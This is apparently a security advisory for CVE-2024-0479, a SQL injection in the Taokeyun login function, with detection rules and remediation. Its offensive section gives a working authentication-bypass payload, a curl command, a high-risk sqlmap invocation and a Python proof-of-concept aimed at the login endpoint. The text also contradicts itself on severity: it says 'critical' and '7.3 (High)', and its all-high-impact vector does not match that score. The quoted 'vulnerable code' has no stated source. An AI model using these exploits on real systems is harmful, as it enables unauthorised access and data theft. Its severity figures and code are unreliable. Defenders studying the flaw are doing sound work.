CVE-2024-0479

Executive Summary

CVE-2024-0479 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the login function within the file application/index/controller/m/User.php, where the username parameter is improperly sanitized before being used in a database query. An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full system compromise. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation. No official patch has been released by the vendor at this time.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Taokeyun PHP application. Organizations using Taokeyun should treat this as a critical supply chain risk, as the software may be deployed as part of a larger ecosystem or third-party integration.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. The EPSS score of 0.0% suggests low current exploitation activity, but this may change rapidly as PoC code circulates.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login mechanism. The login function in application/index/controller/m/User.php directly concatenates the username parameter from an HTTP POST request into a SQL query without proper sanitization or parameterized queries. An attacker can inject SQL commands by crafting a malicious username value, such as ' OR '1'='1, to bypass authentication or extract data.

Technical Details:

• Vulnerable File: application/index/controller/m/User.php
• Vulnerable Function: login()
• Attack Vector: HTTP POST request to the login endpoint
• Parameter: username
• Database: Likely MySQL (common for PHP applications)

Example Attack Payload:

' OR '1'='1' -- 

This payload would cause the SQL query to become:

SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'

The -- comments out the rest of the query, allowing authentication bypass.

Vulnerable vs. Patched Code

Vulnerable Code (Taokeyun <= 1.0.5):

// application/index/controller/m/User.php
public function login() {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
    $result = $this->db->query($sql);
    // ...
}

Patched Code (Hypothetical):

// application/index/controller/m/User.php
public function login() {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $stmt = $this->db->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    $result = $stmt->get_result();
    // ...
}

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Taokeyun (version <= 1.0.5)
• A tool like curl, sqlmap, or a custom script

Manual Exploitation:

curl -X POST http://target.com/index.php/m/User/login \
  -d "username=' OR '1'='1' -- &password=anything"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/index.php/m/User/login" \
  --data="username=test&password=test" \
  --batch --level=5 --risk=3

Proof-of-Concept Script (Python):

import requests

target = "http://target.com/index.php/m/User/login"
payload = {"username": "' OR '1'='1' -- ", "password": "anything"}
response = requests.post(target, data=payload)
if "Welcome" in response.text:
    print("[+] Authentication bypass successful!")
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /index.php/m/User/login for suspicious username parameters containing SQL keywords (e.g., OR, AND, --, UNION).
• Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Honeypot:

• Deploy a fake login endpoint that logs all attempts and alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /index.php/m/User/login with username parameter containing SQL injection patterns.
  • Outbound database queries from the web server to the database server with unexpected SQL commands.

• File IOCs:

  • Modified or new files in the application/index/controller/m/ directory.
  • Suspicious entries in web server logs (e.g., access.log) showing SQL injection attempts.

• Behavioral IOCs:

  • Unauthorized access to admin panels or sensitive data.
  • Unusual database activity, such as large data exports or schema changes.

Detection Engineering

YARA Rule

rule CVE_2024_0479_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts targeting Taokeyun login endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0479"
    strings:
        $s1 = "/index.php/m/User/login" nocase
        $s2 = "username=" nocase
        $s3 = "' OR '" nocase
        $s4 = "' OR 1=1" nocase
        $s5 = "UNION SELECT" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-0479 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Taokeyun login endpoint
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/m/User/login'
        cs-uri-query|contains: 'username='
    keywords:
        - "' OR '"
        - "' OR 1=1"
        - "UNION SELECT"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in usernames (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-0479 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php/m/User/login";
    http_uri;
    content:"username=";
    http_client_body;
    pcre:"/(\x27 OR \x27|\x27 OR 1=1|UNION SELECT)/i";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate vulnerable systems: If possible, take the Taokeyun application offline or restrict network access until a patch is applied.
2. Implement WAF rules: Deploy a Web Application Firewall with rules to block SQL injection patterns targeting the login endpoint.
3. Monitor logs: Actively monitor web server and database logs for signs of exploitation.

Long-term Fixes:

1. Apply vendor patch: Check for an official patch from Taokeyun. If unavailable, consider migrating to an alternative solution.
2. Code review: If you have access to the source code, implement parameterized queries or prepared statements for all database interactions.
3. Input validation: Implement strict input validation and sanitization for all user-supplied data, especially in authentication functions.

Workaround:

• If patching is not possible, disable the login endpoint or implement a custom authentication proxy that sanitizes inputs before passing them to the application.

Valters IT